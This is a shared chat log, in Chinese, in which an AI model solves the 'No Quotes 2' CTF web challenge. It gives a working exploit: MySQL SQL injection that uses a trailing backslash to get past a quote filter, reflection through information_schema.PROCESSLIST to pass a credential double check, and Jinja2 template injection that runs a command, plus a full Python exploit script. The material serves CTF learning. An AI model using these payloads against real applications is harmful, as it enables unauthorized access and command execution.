这是个ctf的web挑战的源码,题目信息为 No Quotes 2 128 points 37 so...

创建于:2026年1月10日

使用 GPT-5.2 Thinking 回答 Chat01

问题

no-quotes-2.rar

这是个ctf的web挑战的源码,题目信息为
No Quotes 2
128 points
37 solves
Description

Unless it's from "Go Go Squid!", no quotes are allowed here! Let this wholesome quote heal your soul:

Ai Qing: "If you didn't know about robot combat back then, what would you be doing?"

Wu Bai: "There's no if. As long as you're here, I'll be here."

Now complete with a double check for extra security!

Author: SteakEnthusiast
,看下怎么获得flag,有啥可能的思路,写个获得flag的exp

思考

Finalizing SQL injection construction

I need to ensure the injection works properly and avoids any conflicts. The username_input will be the payload with a backslash at the end. The password_input will use UNION SELECT alongside our crafted expressions to extract data from INFORMATION_SCHEMA.PROCESSLIST. I must also avoid quotes and handle underscores and spaces carefully.

Validating extraction in SQL injection

I need to confirm that the password_input contains the necessary delimiters like delim2. It includes everything like information_schema.processlist without quotes, which is good. The extraction for the password should work, capturing everything between delim2 and delim3. For the username, it perfectly extracts the input, even with the backslash at the end.

Handling username with backslash in SQL injection

The username input ends with a backslash, and this causes the query string to have \') where the closing quote is preceded by a backslash. The delimiter still works for extraction despite the escape, and the username, with the backslash, is included in the extracted input. This syncs well with the SSTI payload.

Crafting a python exploit script for session persistence

I’m working on creating a Python script using requests to maintain session after login. It’ll log in, handle redirects, and follow up with a GET request to retrieve the flag from /home. The flag will be parsed using a regex pattern matching uoftctf{...} as a potential CTF challenge flag.

Breaking down the exploitation strategy

The plan is to exploit two vulnerabilities: SQL injection (bypassing WAF with backslashes and using information_schema.processlist) and Server-Side Template Injection (SSTI) via Jinja. The payloads for username and password will allow for command execution on the server, while the script will extract and parse a flag via regex.

Thought for 12m 21s

回答

我先按源码把“链子”理清,再给你一个可直接跑的 exp(只适用于这道 CTF 题的部署环境)。

1) 漏洞点与整体思路

A. SQL 注入绕过 “No quotes”

/login 里拼 SQL:

py
query = " ... WHERE username = ('%s') AND password = ('%s')" % (username, password)

WAF 只拦 '",但 MySQL 默认会把反斜杠 \ 当作转义符
如果让 username \ 结尾,就能把源码里那枚“闭合单引号”转义掉,从而让后面的引号位置发生错位,把 password 变成可执行 SQL 片段

B. “double check” 的绕过关键

登录后又做了:

py
if not username == row[0] or not password == row[1]: fail

也就是说:你注入出来的那一行,必须让 返回的 username/password 跟你提交的一模一样

这里用一个很经典的“反射”办法:information_schema.PROCESSLIST 里读当前连接正在执行的 SQL 文本(INFO),再用 SUBSTRING_INDEX 把你提交的 username/password 从 INFO 里切出来当作返回列。
这样返回值天然等于你提交的内容,double check 就过了。

你可能担心“分隔符要用引号字符串”,但我们用 0x... 十六进制字面量当分隔符(不需要引号),符合 no-quotes。

C. 登录后再打 SSTI 读 flag

/home 里有:

py
return render_template_string(open("templates/home.html").read() % session["user"])

这等于把 session["user"] %s 塞进模板,然后交给 Jinja2 渲染——典型 SSTI。
所以我们要让“登录得到的 session user(即 row[0])”变成 Jinja payload。

再配合题目自带的 SUID 程序 /readflag(会 cat /root/flag.txt),即可拿 flag。

为了满足“no quotes”,Jinja payload 里也不写引号:用 request.args 带参数。


2) 可用 Payload(核心)

Username(SSTI + 末尾反斜杠触发 SQL 引号错位)

jinja2
{{cycler.__init__.__globals__.__builtins__.__import__(request.args.m).popen(request.args.cmd).read()}}\

Password(SQL 注入:UNION + 从 PROCESSLIST.INFO 反射切出 username/password)

分隔符(十六进制):

  • delim1 = "username = ('"0x757365726e616d65203d202827
  • delim2 = "') AND password = ('"0x272920414e442070617373776f7264203d202827
  • delim3 = "')"0x2729

提取表达式:

  • 取 username:
    sql
    SUBSTRING_INDEX(SUBSTRING_INDEX(INFO, delim2, 1), delim1, -1)
  • 取 password:
    sql
    SUBSTRING_INDEX(SUBSTRING_INDEX(INFO, delim2, -1), delim3, 1)

最终 password 注入(无引号):

sql
) UNION SELECT <u_expr>, <p_expr> FROM information_schema.PROCESSLIST WHERE ID=CONNECTION_ID() #

3) EXP(Python requests,一把梭)

你只需要改 BASE_URL

python
import re import requests BASE_URL = "http://127.0.0.1:5000" # TODO: 改成题目地址 def main(): s = requests.Session() # 1) username: SSTI payload + 末尾反斜杠触发 MySQL 反斜杠转义 username = r"{{cycler.__init__.__globals__.__builtins__.__import__(request.args.m).popen(request.args.cmd).read()}}\\" # 2) SQLi: 用 information_schema.PROCESSLIST.INFO 反射切出本次提交的 username/password delim1 = "0x757365726e616d65203d202827" # "username = ('" delim2 = "0x272920414e442070617373776f7264203d202827" # "') AND password = ('" delim3 = "0x2729" # "')" u_expr = f"SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,{delim2},1),{delim1},-1)" p_expr = f"SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,{delim2},-1),{delim3},1)" password = ( f") UNION SELECT {u_expr},{p_expr} " f"FROM information_schema.PROCESSLIST " f"WHERE ID=CONNECTION_ID() #" ) # 3) 触发登录,拿到 session r = s.post(f"{BASE_URL}/login", data={"username": username, "password": password}, allow_redirects=False) if r.status_code not in (302, 303): print("[!] login did not redirect, status:", r.status_code) print(r.text[:500]) return # 4) 访问 /home 触发 SSTI,执行 /readflag r = s.get(f"{BASE_URL}/home", params={"m": "os", "cmd": "/readflag"}) text = r.text # 5) 提取 flag(按 uoftctf{...} 习惯写个正则) m = re.search(r"uoftctf\{[^}]+\}", text) if m: print("[+] FLAG:", m.group(0)) else: print("[!] flag not found, response snippet:") print(text[:1000]) if __name__ == "__main__": main()

4) 如果打不通,最常见的坑

  • MySQL/MariaDB 是否启用了 NO_BACKSLASH_ESCAPES:如果启用了,\ 就不能转义单引号了,这条路会断(但这题一般不会开)。
  • PROCESSLIST.INFO 可能对超长语句有截断:如果你环境截断很短,就把 username payload 尽量缩短(我这条已经算偏短,且不含引号)。

如果你把你打的目标地址/回显片段(比如返回 “Invalid credentials.” 还是 MySQL 报错页面)贴一小段出来,我可以基于回显帮你把 payload 再收敛到最稳的版本。

分享这个问答